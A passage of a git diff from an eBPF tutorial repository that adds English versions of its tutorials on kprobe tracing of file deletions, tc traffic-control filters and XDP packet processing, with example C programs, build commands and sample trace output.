pt_regs` structure. Therefore, kprobes can be used to install bug fixes or inject fault testing code. -5. kprobes avoids calling the callback function of another probe point again when processing the probe point function. For example, if a probe point is registered on the `printk()` function and the callback function may call `printk()` again, the callback for the `printk` probe point will not be triggered again. Only the `nmissed` field in the `kprobe` structure will be incremented. -6. mutex locks and dynamic memory allocation are not used in the registration and removal process of kprobes. - -7. During the execution of kprobes callback functions, kernel preemption is disabled, and it may also be executed with interrupts disabled, which depends on the CPU architecture. Therefore, regardless of the situation, do not call functions that will give up the CPU in the callback function (such as semaphore, mutex lock, etc.); -8. kretprobe is implemented by replacing the return address with the pre-defined trampoline address, so stack backtraces and gcc inline function `__builtin_return_address()` will return the address of the trampoline instead of the actual return address of the probed function; -9. If the number of function calls and return calls of a function are unequal, registering kretprobe on such a function may not achieve the expected effect, for example, the `do_exit()` function will have problems, while the `do_execve()` function and `do_fork()` function will not; -10. When entering and exiting a function, if the CPU is running on a stack that does not belong to the current task, registering kretprobe on that function may have unpredictable consequences. Therefore, kprobes does not support registering kretprobe for the `__switch_to()` function under the X86_64 architecture and will directly return `-EINVAL`. - -## kprobe Example - -The complete code is as follows: - -```c -#include "vmlinux.h" -#include -#include -#include - -char LICENSE[] SEC("license") = "Dual BSD/GPL"; - -SEC("kprobe/do_unlinkat") -int BPF_KPROBE(do_unlinkat, int dfd, struct filename *name) -{ - pid_t pid; - const char *filename; - - pid = bpf_get_current_pid_tgid() >> 32; - filename = BPF_CORE_READ(name, name); - bpf_printk("KPROBE ENTRY pid = %d, filename = %s\n", pid, filename); - return 0; -} - -SEC("kretprobe/do_unlinkat") -int BPF_KRETPROBE(do_unlinkat_exit, long ret) -{ - pid_t pid; - - pid = bpf_get_current_pid_tgid() >> 32; - bpf_printk("KPROBE EXIT: pid = %d, ret = %ld\n", pid, ret); - return 0; -} -``` - -This code is a simple eBPF program used to monitor and capture the unlink system call executed in the Linux kernel. The unlink system call is used to delete a file. This eBPF program traces this system call by placing hooks at the entry and exit points of the `do_unlinkat` function using a kprobe (kernel probe). - -First, we import necessary header files such as vmlinux.h, bpf_helpers.h, bpf_tracing.h, and bpf_core_read.h. Then, we define a license to allow the program to run in the kernel. - -```c -#include "vmlinux.h" -#include -#include -#include - -char LICENSE[] SEC("license") = "Dual BSD/GPL"; -``` - -Next, we define a kprobe named `BPF_KPROBE(do_unlinkat)` which gets triggered when the `do_unlinkat` function is entered. It takes two parameters: `dfd` (file descriptor) and `name` (filename structure pointer). In this kprobe, we retrieve the PID (process identifier) of the current process and then read the filename. Finally, we use the `bpf_printk` function to print the PID and filename in the kernel log. - -```c -SEC("kprobe/do_unlinkat") -int BPF_KPROBE(do_unlinkat, int dfd, struct filename *name) -{ - pid_t pid; - const char *filename; - - pid = bpf_get_current_pid_tgid() >> 32; - filename = BPF_CORE_READ(name, name); - bpf_printk("KPROBE ENTRY pid = %d, filename = %s\n", pid, filename); - return 0; -} -``` - -Next, we define a kretprobe named `BPF_KRETPROBE(do_unlinkat_exit)` that will be triggered when exiting the `do_unlinkat` function. The purpose of this kretprobe is to capture the return value (`ret`) of the function. We again obtain the PID of the current process and use the `bpf_printk` function to print the PID and return value in the kernel log. - -```c -SEC("kretprobe/do_unlinkat") -int BPF_KRETPROBE(do_unlinkat_exit, long ret) -{ - pid_t pid; - - pid = bpf_get_current_pid_tgid() >> 32; - bpf_printk("KPROBE EXIT: pid = %d, ret = %ld\n", pid, ret); - return 0; -} -``` - -eunomia-bpf is an open-source eBPF dynamic loading runtime and development toolchain that combines with Wasm. Its goal is to simplify the development, build, distribution, and execution of eBPF programs. You can refer to to download and install the ecc compiler toolchain and ecli runtime. - -To compile this program, use the ecc tool: - -```console -$ ecc kprobe-link.bpf.c -Compiling bpf object... -Packing ebpf object and config into package.json... -``` - -Then run: - -```console -sudo ecli run package.json -``` - -In another window: - -```shell -touch test1 -rm test1 -touch test2 -rm test2 -``` - -You should see kprobe demo output similar to the following in the /sys/kernel/debug/tracing/trace_pipe file: - -```shell -$ sudo cat /sys/kernel/debug/tracing/trace_pipe - rm-9346 [005] d..3 4710.951696: bpf_trace_printk: KPROBE ENTRY pid = 9346, filename = test1 - rm-9346 [005] d..4 4710.951819: bpf_trace_printk: KPROBE EXIT: ret = 0 - rm-9346 [005] d..3 4710.951852: bpf_trace_printk: KPROBE ENTRY pid = 9346, filename = test2 - rm-9346 [005] d..4 4710.951895: bpf_trace_printk: KPROBE EXIT: ret = 0 -``` - -## Summary - -In this article's example, we learned how to use eBPF's kprobe and kretprobe to capture the unlink system call. For more examples and detailed development guides, please refer to the official documentation of eunomia-bpf: - -This article is the second part of the introductory eBPF development tutorial. The next article will explain how to use fentry to monitor and capture the unlink system call in eBPF. - -If you'd like to learn more about eBPF knowledge and practices, you can visit our tutorial code repository at or website for more examples and complete tutorials. diff --git a/src/20-tc/.config b/src/20-tc/.config new file mode 100644 index 00000000..e23ad1a4 --- /dev/null +++ b/src/20-tc/.config @@ -0,0 +1 @@ +level=Advance diff --git a/src/20-tc/README.md b/src/20-tc/README.md index 22d01ba7..b4836d84 100644 --- a/src/20-tc/README.md +++ b/src/20-tc/README.md @@ -1,18 +1,20 @@ -# eBPF 入门实践教程二十:使用 eBPF 进行 tc 流量控制 +# eBPF Tutorial by Example 20: tc Traffic Control -## 背景 -Linux 的流量控制子系统(Traffic Control, tc)在内核中存在了多年,类似于 iptables 和 netfilter 的关系,tc 也包括一个用户态的 tc 程序和内核态的 trafiic control 框架,主要用于从速率、顺序等方面控制数据包的发送和接收。从 Linux 4.1 开始,tc 增加了一些新的挂载点,并支持将 eBPF 程序作为 filter 加载到这些挂载点上。 +Linux's Traffic Control (tc) subsystem has been present in the kernel for many years. Similar to the relationship between iptables and netfilter, tc includes a user-space tc program and a kernel-level traffic control framework. It is mainly used to control the sending and receiving of packets in terms of rate, sequence, and other aspects. Starting from Linux 4.1, tc has added some new attachment points and supports loading eBPF programs as filters onto these attachment points. -## tc 概述 +> The complete source code: -从协议栈上看,tc 位于链路层,其所在位置已经完成了 sk_buff 的分配,要晚于 xdp。为了实现对数据包发送和接收的控制,tc 使用队列结构来临时保存并组织数据包,在 tc 子系统中对应的数据结构和算法控制机制被抽象为 qdisc(Queueing discipline),其对外暴露数据包入队和出队的两个回调接口,并在内部隐藏排队算法实现。在 qdisc 中我们可以基于 filter 和 class 实现复杂的树形结构,其中 filter 被挂载到 qdisc 或 class 上用于实现具体的过滤逻辑,返回值决定了该数据包是否属于特定 class。 -当数据包到达顶层 qdisc 时,其入队接口被调用,其上挂载的 filter 被依次执行直到一个 filter 匹配成功;此后数据包被送入该 filter 指向的 class,进入该 class 配置的 qdisc 处理流程中。tc 框架提供了所谓 classifier-action 机制,即在数据包匹配到特定 filter 时执行该 filter 所挂载的 action 对数据包进行处理,实现了完整的数据包分类和处理机制。 +## Overview of tc -现有的 tc 为 eBPF 提供了 direct-action 模式,它使得一个作为 filter 加载的 eBPF 程序可以返回像 `TC_ACT_OK` 等 tc action 的返回值,而不是像传统的 filter 那样仅仅返回一个 classid 并把对数据包的处理交给 action 模块。现在,eBPF 程序可以被挂载到特定的 qdisc 上,并完成对数据包的分类和处理动作。 +From the protocol stack perspective, tc is located at the link layer. Its position has already completed the allocation of sk_buff and is later than xdp. In order to control the sending and receiving of packets, tc uses a queue structure to temporarily store and organize packets. In the tc subsystem, the corresponding data structure and algorithm control mechanism are abstracted as qdisc (Queueing discipline). It exposes two callback interfaces for enqueuing and dequeuing packets externally, and internally hides the implementation of queuing algorithms. In qdisc, we can implement complex tree structures based on filters and classes. Filters are mounted on qdisc or class to implement specific filtering logic, and the return value determines whether the packet belongs to a specific class. -## 编写 eBPF 程序 +When a packet reaches the top-level qdisc, its enqueue interface is called, and the mounted filters are executed one by one until a filter matches successfully. Then the packet is sent to the class pointed to by that filter and enters the qdisc processing process configured by that class. The tc framework provides the so-called classifier-action mechanism, that is, when a packet matches a specific filter, the action mounted by that filter is executed to process the packet, implementing a complete packet classification and processing mechanism. + +The existing tc provides eBPF with the direct-action mode, which allows an eBPF program loaded as a filter to return values such as `TC_ACT_OK` as tc actions, instead of just returning a classid like traditional filters and handing over the packet processing to the action module. Now, eBPF programs can be mounted on specific qdiscs to perform packet classification and processing actions. + +## Writing eBPF Programs ```c #include @@ -51,28 +53,28 @@ int tc_ingress(struct __sk_buff *ctx) char __license[] SEC("license") = "GPL"; ``` -这段代码定义了一个 eBPF 程序,它可以通过 Linux TC(Transmission Control)来捕获数据包并进行处理。在这个程序中,我们限定了只捕获 IPv4 协议的数据包,然后通过 bpf_printk 函数打印出数据包的总长度和 Time-To-Live(TTL)字段的值。 +This code defines an eBPF program that can capture and process packets through Linux TC (Transmission Control). In this program, we limit it to capture only IPv4 protocol packets, and then print out the total length and Time-To-Live (TTL) value of the packet using the bpf_printk function. -需要注意的是,我们在代码中使用了一些 BPF 库函数,例如 bpf_htons 和 bpf_ntohs 函数,它们用于进行网络字节序和主机字节序之间的转换。此外,我们还使用了一些注释来为 TC 提供附加点和选项信息。例如,在这段代码的开头,我们使用了以下注释: +What needs to be noted is that we use some BPF library functions in the code, such as the functions bpf_htons and bpf_ntohs, which are used for conversion between network byte order and host byte order. In addition, we also use some comments to provide additional points and option information for TC. For example, at the beginning of this code, we use the following comments: ```c /// @tchook {"ifindex":1, "attach_point":"BPF_TC_INGRESS"} /// @tcopts {"handle":1, "priority":1} ``` -这些注释告诉 TC 将 eBPF 程序附加到网络接口的 ingress 附加点,并指定了 handle 和 priority 选项的值。关于 libbpf 中 tc 相关的 API 可以参考 [patchwork](https://patchwork.kernel.org/project/netdevbpf/patch/20210512103451.989420-3-memxor@gmail.com/) 中的介绍。 +These comments tell TC to attach the eBPF program to the ingress attachment point of the network interface, and specify the values of the handle and priority options. You can refer to the introduction in [patchwork](https://patchwork.kernel.org/project/netdevbpf/patch/20210512103451.989420-3-memxor@gmail.com/) for tc-related APIs in libbpf. -总之,这段代码实现了一个简单的 eBPF 程序,用于捕获数据包并打印出它们的信息。 +In summary, this code implements a simple eBPF program that captures packets and prints out their information. -## 编译运行 +## Compilation and Execution -通过容器编译: +Compile using a container: ```console docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest ``` -或是通过 `ecc` 编译: +Or compile using `ecc`: ```console $ ecc tc.bpf.c @@ -80,13 +82,13 @@ Compiling bpf object... Packing ebpf object and config into package.json... ``` -并通过 `ecli` 运行: +And run using `ecli`: ```shell sudo ecli run ./package.json ``` -可以通过如下方式查看程序的输出: +You can view the output of the program in the following way: ```console $ sudo cat /sys/kernel/debug/tracing/trace_pipe @@ -96,13 +98,15 @@ $ sudo cat /sys/kernel/debug/tracing/trace_pipe node-1254811 [007] ..s1 8737831.674550: 0: Got IP packet: tot_len: 71, ttl: 64 ``` -## 总结 +## Summary -本文介绍了如何向 TC 流量控制子系统挂载 eBPF 类型的 filter 来实现对链路层数据包的排队处理。基于 eunomia-bpf 提供的通过注释向 libbpf 传递参数的方案,我们可以将自己编写的 tc BPF 程序以指定选项挂载到目标网络设备,并借助内核的 sk_buff 结构对数据包进行过滤处理。 +This article introduces how to mount eBPF type filters to the TC traffic control subsystem to achieve queuing processing of link layer packets. Based on the solution provided by eunomia-bpf to pass parameters to libbpf through comments, we can mount our own tc BPF program to the target network device with specified options and use the sk_buff structure of the kernel to filter and process packets. -如果您希望学习更多关于 eBPF 的知识和实践,可以访问我们的教程代码仓库 或网站 以获取更多示例和完整的教程。 +If you want to learn more about eBPF knowledge and practice, you can visit our tutorial code repository or website for more examples and complete tutorials. -## 参考 +## References + + + +> The original link of this article: diff --git a/src/20-tc/README.zh.md b/src/20-tc/README.zh.md new file mode 100644 index 00000000..22d01ba7 --- /dev/null +++ b/src/20-tc/README.zh.md @@ -0,0 +1,108 @@ +# eBPF 入门实践教程二十:使用 eBPF 进行 tc 流量控制 + +## 背景 + +Linux 的流量控制子系统(Traffic Control, tc)在内核中存在了多年,类似于 iptables 和 netfilter 的关系,tc 也包括一个用户态的 tc 程序和内核态的 trafiic control 框架,主要用于从速率、顺序等方面控制数据包的发送和接收。从 Linux 4.1 开始,tc 增加了一些新的挂载点,并支持将 eBPF 程序作为 filter 加载到这些挂载点上。 + +## tc 概述 + +从协议栈上看,tc 位于链路层,其所在位置已经完成了 sk_buff 的分配,要晚于 xdp。为了实现对数据包发送和接收的控制,tc 使用队列结构来临时保存并组织数据包,在 tc 子系统中对应的数据结构和算法控制机制被抽象为 qdisc(Queueing discipline),其对外暴露数据包入队和出队的两个回调接口,并在内部隐藏排队算法实现。在 qdisc 中我们可以基于 filter 和 class 实现复杂的树形结构,其中 filter 被挂载到 qdisc 或 class 上用于实现具体的过滤逻辑,返回值决定了该数据包是否属于特定 class。 + +当数据包到达顶层 qdisc 时,其入队接口被调用,其上挂载的 filter 被依次执行直到一个 filter 匹配成功;此后数据包被送入该 filter 指向的 class,进入该 class 配置的 qdisc 处理流程中。tc 框架提供了所谓 classifier-action 机制,即在数据包匹配到特定 filter 时执行该 filter 所挂载的 action 对数据包进行处理,实现了完整的数据包分类和处理机制。 + +现有的 tc 为 eBPF 提供了 direct-action 模式,它使得一个作为 filter 加载的 eBPF 程序可以返回像 `TC_ACT_OK` 等 tc action 的返回值,而不是像传统的 filter 那样仅仅返回一个 classid 并把对数据包的处理交给 action 模块。现在,eBPF 程序可以被挂载到特定的 qdisc 上,并完成对数据包的分类和处理动作。 + +## 编写 eBPF 程序 + +```c +#include +#include +#include +#include + +#define TC_ACT_OK 0 +#define ETH_P_IP 0x0800 /* Internet Protocol packet */ + +/// @tchook {"ifindex":1, "attach_point":"BPF_TC_INGRESS"} +/// @tcopts {"handle":1, "priority":1} +SEC("tc") +int tc_ingress(struct __sk_buff *ctx) +{ + void *data_end = (void *)(__u64)ctx->data_end; + void *data = (void *)(__u64)ctx->data; + struct ethhdr *l2; + struct iphdr *l3; + + if (ctx->protocol != bpf_htons(ETH_P_IP)) + return TC_ACT_OK; + + l2 = data; + if ((void *)(l2 + 1) > data_end) + return TC_ACT_OK; + + l3 = (struct iphdr *)(l2 + 1); + if ((void *)(l3 + 1) > data_end) + return TC_ACT_OK; + + bpf_printk("Got IP packet: tot_len: %d, ttl: %d", bpf_ntohs(l3->tot_len), l3->ttl); + return TC_ACT_OK; +} + +char __license[] SEC("license") = "GPL"; +``` + +这段代码定义了一个 eBPF 程序,它可以通过 Linux TC(Transmission Control)来捕获数据包并进行处理。在这个程序中,我们限定了只捕获 IPv4 协议的数据包,然后通过 bpf_printk 函数打印出数据包的总长度和 Time-To-Live(TTL)字段的值。 + +需要注意的是,我们在代码中使用了一些 BPF 库函数,例如 bpf_htons 和 bpf_ntohs 函数,它们用于进行网络字节序和主机字节序之间的转换。此外,我们还使用了一些注释来为 TC 提供附加点和选项信息。例如,在这段代码的开头,我们使用了以下注释: + +```c +/// @tchook {"ifindex":1, "attach_point":"BPF_TC_INGRESS"} +/// @tcopts {"handle":1, "priority":1} +``` + +这些注释告诉 TC 将 eBPF 程序附加到网络接口的 ingress 附加点,并指定了 handle 和 priority 选项的值。关于 libbpf 中 tc 相关的 API 可以参考 [patchwork](https://patchwork.kernel.org/project/netdevbpf/patch/20210512103451.989420-3-memxor@gmail.com/) 中的介绍。 + +总之,这段代码实现了一个简单的 eBPF 程序,用于捕获数据包并打印出它们的信息。 + +## 编译运行 + +通过容器编译: + +```console +docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest +``` + +或是通过 `ecc` 编译: + +```console +$ ecc tc.bpf.c +Compiling bpf object... +Packing ebpf object and config into package.json... +``` + +并通过 `ecli` 运行: + +```shell +sudo ecli run ./package.json +``` + +可以通过如下方式查看程序的输出: + +```console +$ sudo cat /sys/kernel/debug/tracing/trace_pipe + node-1254811 [007] ..s1 8737831.671074: 0: Got IP packet: tot_len: 79, ttl: 64 + sshd-1254728 [006] ..s1 8737831.674334: 0: Got IP packet: tot_len: 79, ttl: 64 + sshd-1254728 [006] ..s1 8737831.674349: 0: Got IP packet: tot_len: 72, ttl: 64 + node-1254811 [007] ..s1 8737831.674550: 0: Got IP packet: tot_len: 71, ttl: 64 +``` + +## 总结 + +本文介绍了如何向 TC 流量控制子系统挂载 eBPF 类型的 filter 来实现对链路层数据包的排队处理。基于 eunomia-bpf 提供的通过注释向 libbpf 传递参数的方案,我们可以将自己编写的 tc BPF 程序以指定选项挂载到目标网络设备,并借助内核的 sk_buff 结构对数据包进行过滤处理。 + +如果您希望学习更多关于 eBPF 的知识和实践,可以访问我们的教程代码仓库 或网站 以获取更多示例和完整的教程。 + +## 参考 + ++ ++ diff --git a/src/20-tc/README_en.md b/src/20-tc/README_en.md deleted file mode 100644 index b682dae5..00000000 --- a/src/20-tc/README_en.md +++ /dev/null @@ -1,111 +0,0 @@ -# eBPF Tutorial by Example 20: tc Traffic Control - -## Background - -Linux's Traffic Control (tc) subsystem has been present in the kernel for many years. Similar to the relationship between iptables and netfilter, tc includes a user-space tc program and a kernel-level traffic control framework. It is mainly used to control the sending and receiving of packets in terms of rate, sequence, and other aspects. Starting from Linux 4.1, tc has added some new attachment points and supports loading eBPF programs as filters onto these attachment points. - -## Overview of tc - -From the protocol stack perspective, tc is located at the link layer. Its position has already completed the allocation of sk_buff and is later than xdp. In order to control the sending and receiving of packets, tc uses a queue structure to temporarily store and organize packets. In the tc subsystem, the corresponding data structure and algorithm control mechanism are abstracted as qdisc (Queueing discipline). It exposes two callback interfaces for enqueuing and dequeuing packets externally, and internally hides the implementation of queuing algorithms. In qdisc, we can implement complex tree structures based on filters and classes. Filters are mounted on qdisc or class to implement specific filtering logic, and the return value determines whether the packet belongs to a specific class. - -When a packet reaches the top-level qdisc, its enqueue interface is called, and the mounted filters are executed one by one until a filter matches successfully. Then the packet is sent to the class pointed to by that filter and enters the qdisc processing process configured by that class. The tc framework provides the so-called classifier-action mechanism, that is, when a packet matches a specific filter, the action mounted by that filter is executed to process the packet, implementing a complete packet classification and processing mechanism. - -The existing tc provides eBPF with the direct-action mode, which allows an eBPF program loaded as a filter to return values such as `TC_ACT_OK` as tc actions, instead of just returning a classid like traditional filters and handing over the packet processing to the action module. Now, eBPF programs can be mounted on specific qdiscs to perform packet classification and processing actions. - -## Writing eBPF Programs - -```c -#include -#include -#include -#include - -#define TC_ACT_OK 0 -#define ETH_P_IP 0x0800 /* Internet Protocol packet */ - -/// @tchook {"ifindex":1, "attach_point":"BPF_TC_INGRESS"} -/// @tcopts {"handle":1, "priority":1} -SEC("tc") -int tc_ingress(struct __sk_buff *ctx) -{ - void *data_end = (void *)(__u64)ctx->data_end; - void *data = (void *)(__u64)ctx->data; - struct ethhdr *l2; - struct iphdr *l3; - - if (ctx->protocol != bpf_htons(ETH_P_IP)) - return TC_ACT_OK; - - l2 = data; - if ((void *)(l2 + 1) > data_end) - return TC_ACT_OK; - - l3 = (struct iphdr *)(l2 + 1); - if ((void *)(l3 + 1) > data_end) - return TC_ACT_OK; - - bpf_printk("Got IP packet: tot_len: %d, ttl: %d", bpf_ntohs(l3->tot_len), l3->ttl); - return TC_ACT_OK; -} - -char __license[] SEC("license") = "GPL"; -``` - -This code defines an eBPF program that can capture and process packets through Linux TC (Transmission Control). In this program, we limit it to capture only IPv4 protocol packets, and then print out the total length and Time-To-Live (TTL) value of the packet using the bpf_printk function.Here is the translated text: - -" -What needs to be noted is that we use some BPF library functions in the code, such as the functions bpf_htons and bpf_ntohs, which are used for conversion between network byte order and host byte order. In addition, we also use some comments to provide additional points and option information for TC. For example, at the beginning of this code, we use the following comments: - -```c -/// @tchook {"ifindex":1, "attach_point":"BPF_TC_INGRESS"} -/// @tcopts {"handle":1, "priority":1} -``` - -These comments tell TC to attach the eBPF program to the ingress attachment point of the network interface, and specify the values of the handle and priority options. You can refer to the introduction in [patchwork](https://patchwork.kernel.org/project/netdevbpf/patch/20210512103451.989420-3-memxor@gmail.com/) for tc-related APIs in libbpf. - -In summary, this code implements a simple eBPF program that captures packets and prints out their information. - -## Compilation and Execution - -Compile using a container: - -```console -docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest -``` - -Or compile using `ecc`: - -```console -$ ecc tc.bpf.c -Compiling bpf object... -Packing ebpf object and config into package.json... -``` - -And run using `ecli`: - -```shell -sudo ecli run ./package.json -``` - -You can view the output of the program in the following way: - -```console -$ sudo cat /sys/kernel/debug/tracing/trace_pipe - node-1254811 [007] ..s1 8737831.671074: 0: Got IP packet: tot_len: 79, ttl: 64 - sshd-1254728 [006] ..s1 8737831.674334: 0: Got IP packet: tot_len: 79, ttl: 64 - sshd-1254728 [006] ..s1 8737831.674349: 0: Got IP packet: tot_len: 72, ttl: 64 - node-1254811 [007] ..s1 8737831.674550: 0: Got IP packet: tot_len: 71, ttl: 64 -``` - -## Summary - -This article introduces how to mount eBPF type filters to the TC traffic control subsystem to achieve queuing processing of link layer packets. Based on the solution provided by eunomia-bpf to pass parameters to libbpf through comments, we can mount our own tc BPF program to the target network device with specified options and use the sk_buff structure of the kernel to filter and process packets. - -If you want to learn more about eBPF knowledge and practice, you can visit our tutorial code repository or website for more examples and complete tutorials. - -## References - -+ -+ - -> The original link of this article: diff --git a/src/21-xdp/.config b/src/21-xdp/.config new file mode 100644 index 00000000..e23ad1a4 --- /dev/null +++ b/src/21-xdp/.config @@ -0,0 +1 @@ +level=Advance diff --git a/src/21-xdp/README.md b/src/21-xdp/README.md index e839cb17..a39c5e35 100644 --- a/src/21-xdp/README.md +++ b/src/21-xdp/README.md @@ -1,23 +1,82 @@ -# eBPF 入门实践教程二十一:使用 xdp 实现可编程包处理 +# eBPF Tutorial by Example 21: Programmable Packet Processing with XDP -## 背景 +In this tutorial, we will introduce XDP (eXpress Data Path) and walk through a small example to help you get started. Later on, we will explore more advanced XDP applications, such as load balancers, firewalls, and other real-world use cases. Please give us a start on [Github](https://github.com/eunomia-bpf/bpf-developer-tutorial) if you are interested in eBPF or XDP! -xdp(eXpress Data Path)是 Linux 内核中新兴的一种绕过内核的、可编程的包处理方案。相较于 cBPF,xdp 的挂载点非常底层,位于网络设备驱动的软中断处理过程,甚至早于 skb_buff 结构的分配。因此,在 xdp 上挂载 eBPF 程序适用于很多简单但次数极多的包处理操作(如防御 Dos 攻击),可以达到很高的性能(24Mpps/core)。 +> The complete source code: -## XDP 概述 +## What is XDP? -xdp 不是第一个支持可编程包处理的系统,在此之前,以 DPDK(Data Plane Development Kit)为代表的内核旁路方案甚至能够取得更高的性能,其思路为完全绕过内核,由用户态的网络应用接管网络设备,从而避免了用户态和内核态的切换开销。然而,这样的方式具有很多天然的缺陷: +XDP is a high-performance, programmable data path in the Linux kernel, designed for packet processing at the network interface level. By attaching eBPF programs directly to network device drivers, XDP can intercept and handle packets before they reach the kernel’s networking stack. This allows for extremely low-latency and efficient packet processing, making it ideal for tasks like DDoS defense, load balancing, and traffic filtering. In fact, XDP can achieve throughput as high as **24 million packets per second (Mpps) per core**. -+ 无法与内核中成熟的网络模块集成,而不得不在用户态将其重新实现; -+ 破坏了内核的安全边界,使得内核提供的很多网络工具变得不可用; -+ 在与常规的 socket 交互时,需要从用户态重新将包注入到内核; -+ 需要占用一个或多个单独的 CPU 来进行包处理; +### Why XDP? -除此之外,利用内核模块和内核网络协议栈中的 hook 点也是一种思路,然而前者对内核的改动大,出错的代价高昂;后者在整套包处理流程中位置偏后,其效率不够理想。 +XDP operates at a lower level than traditional Linux networking components, like cBPF (Classic BPF), by running inside the soft interrupt context of the network device driver. It can handle packets before they are even processed by the kernel's standard networking stack, bypassing the creation of the `skb_buff` structure, which represents network packets in Linux. This early-stage processing provides significant performance gains for simple but frequent operations like dropping malicious packets or load balancing across servers. -总而言之,xdp + eBPF 为可编程包处理系统提出了一种更为稳健的思路,在某种程度上权衡了上述方案的种种优点和不足,获取较高性能的同时又不会对内核的包处理流程进行过多的改变,同时借助 eBPF 虚拟机的优势将用户定义的包处理过程进行隔离和限制,提高了安全性。 +Compared to other packet processing mechanisms, XDP strikes a balance between performance and usability, leveraging the security and reliability of the Linux kernel while providing flexibility through programmable eBPF. -## 编写 eBPF 程序 +## Overview of XDP vs. Other Approaches + +Before XDP, several other solutions aimed to accelerate packet processing by bypassing the kernel entirely. One prominent example is **DPDK** (Data Plane Development Kit). DPDK allows user-space applications to take direct control of network devices, achieving very high performance. However, this approach comes with trade-offs: + +1. **Lack of Kernel Integration**: DPDK and other kernel-bypass solutions cannot utilize existing kernel networking features, requiring developers to reimplement many protocols and functions in user space. + +2. **Security Boundaries**: These bypass techniques break the kernel’s security model, making it harder to leverage security tools provided by the kernel. + +3. **User-Kernel Transition Costs**: When user-space packet processing needs to interact with traditional kernel networking (like socket-based applications), packets must be reinjected into the kernel, adding overhead and complexity. + +4. **Dedicated CPU Usage**: To handle high traffic, DPDK and similar solutions often require dedicating one or more CPU cores solely for packet processing, which limits the scalability and efficiency of general-purpose systems. + +Another alternative to XDP is using **kernel modules** or **hooks** in the Linux networking stack. While this method integrates well with existing kernel features, it requires extensive kernel modifications and does not provide the same performance benefits, as it operates later in the packet processing pipeline. + +### The XDP + eBPF Advantage + +XDP combined with eBPF offers a middle ground between kernel-bypass solutions like DPDK and kernel-integrated solutions. Here’s why XDP + eBPF stands out: + +- **High Performance**: By intercepting packets early at the NIC driver level, XDP achieves near-line rate performance for tasks like dropping, redirecting, or load balancing packets, all while keeping resource usage low. + +- **Kernel Integration**: Unlike DPDK, XDP works within the Linux kernel, allowing seamless interaction with the existing kernel network stack and tools (such as `iptables`, `nftables`, or sockets). There’s no need to reimplement networking protocols in user space. + +- **Security**: The eBPF virtual machine (VM) ensures that user-defined XDP programs are sandboxed and constrained, which means they cannot destabilize the kernel. The security model of eBPF prevents malicious or buggy code from harming the system, providing a safe environment for programmable packet processing. + +- **No Dedicated CPUs Required**: XDP allows packet processing without dedicating entire CPU cores solely to network tasks. This improves the overall efficiency of the system, allowing for more flexible resource allocation. + +In summary, XDP + eBPF delivers a robust solution for programmable packet processing that combines high performance with the flexibility and safety of kernel integration. It eliminates the drawbacks of full kernel-bypass solutions while retaining the benefits of kernel security and functionality. + +## Projects and Use Cases with XDP + +XDP is already being used in a number of high-profile projects that highlight its power and flexibility in real-world networking scenarios: + +### 1. **Cilium** + +- **Description**: Cilium is an open-source networking, security, and observability tool designed for cloud-native environments, especially Kubernetes. It leverages XDP to implement high-performance packet filtering and load balancing. +- **Use Case**: Cilium offloads packet filtering and security policies to XDP, enabling high-throughput and low-latency traffic management in containerized environments without sacrificing scalability. +- **Link**: [Cilium](https://cilium.io/) + +### 2. **Katran** + +- **Description**: Katran is a layer 4 load balancer developed by Facebook, optimized for high scalability and performance. It uses XDP to handle packet forwarding with minimal overhead. +- **Use Case**: Katran processes millions of packets per second to distribute traffic across backend servers efficiently, using XDP to achieve low-latency and high-performance load balancing in large-scale data centers. +- **Link**: [Katran GitHub](https://github.com/facebookincubator/katran) + +### 3. **XDP DDoS Protection at Cloudflare** + +- **Description**: Cloudflare has implemented XDP for real-time DDoS mitigation. By processing packets at the NIC level, Cloudflare can filter out attack traffic before it reaches the networking stack, minimizing the impact of DDoS attacks on their systems. +- **Use Case**: Cloudflare leverages XDP to drop malicious packets early in the pipeline, protecting their infrastructure from large-scale DDoS attacks while maintaining high availability for legitimate traffic. +- **Link**: [Cloudflare Blog on XDP](https://blog.cloudflare.com/l4drop-xdp-ebpf-based-ddos-mitigations/) + +These projects demonstrate the real-world capabilities of XDP for scalable and efficient packet processing across different domains, from security and load balancing to cloud-native networking. + +### Why Use XDP Over Other Methods? + +Compared to traditional methods like `iptables`, `nftables`, or `tc`, XDP offers several clear advantages: + +- **Speed and Low Overhead**: Operating directly in the NIC driver, XDP bypasses much of the kernel’s overhead, enabling faster packet processing. + +- **Customizability**: XDP allows developers to create custom packet-processing programs with eBPF, providing more flexibility and granularity than legacy tools like `iptables`. + +- **Resource Efficiency**: XDP does not require dedicating entire CPU cores to packet processing, unlike user-space solutions like DPDK, making it a more efficient choice for high-performance networking. + +## Writing your first XDP Program ```C #include "vmlinux.h" @@ -39,9 +98,9 @@ int xdp_pass(struct xdp_md* ctx) { char __license[] SEC("license") = "GPL"; ``` -这是一段 C 语言实现的 eBPF 内核侧代码,它能够通过 xdp 捕获所有经过目标网络设备的数据包,计算其大小并输出到 `trace_pipe` 中。 +This is a kernel-side eBPF code written in C. It captures all packets passing through the target network device using XDP, calculates their size, and outputs it to `trace_pipe`. -值得注意的是,在代码中我们使用了以下注释: +It's worth noting the following annotations in the code: ```C /// @ifindex 1 @@ -49,23 +108,23 @@ char __license[] SEC("license") = "GPL"; /// @xdpopts {"old_prog_fd":0} ``` -这是由 eunomia-bpf 提供的功能,我们可以通过这样的注释告知 eunomia-bpf 加载器此 xdp 程序想要挂载的目标网络设备编号,挂载的标志和选项。 +This functionality is provided by eunomia-bpf, which allows these annotations to inform the eunomia-bpf loader about the desired target network device number, mounting flags, and options for this XDP program. -这些变量的设计基于 libbpf 提供的 API,可以通过 [patchwork](https://patchwork.kernel.org/project/netdevbpf/patch/20220120061422.2710637-2-andrii@kernel.org/#24705508) 查看接口的详细介绍。 +These variables are based on the API provided by libbpf. Detailed information about the interface can be viewed [here](https://patchwork.kernel.org/project/netdevbpf/patch/20220120061422.2710637-2-andrii@kernel.org/#24705508). -`SEC("xdp")` 宏指出 BPF 程序的类型,`ctx` 是此 BPF 程序执行的上下文,用于包处理流程。 +The `SEC("xdp")` macro indicates the type of the BPF program, while `ctx` is the execution context of this BPF program for packet processing. -在程序的最后,我们返回了 `XDP_PASS`,这表示我们的 xdp 程序会将经过目标网络设备的包正常交付给内核的网络协议栈。可以通过 [XDP 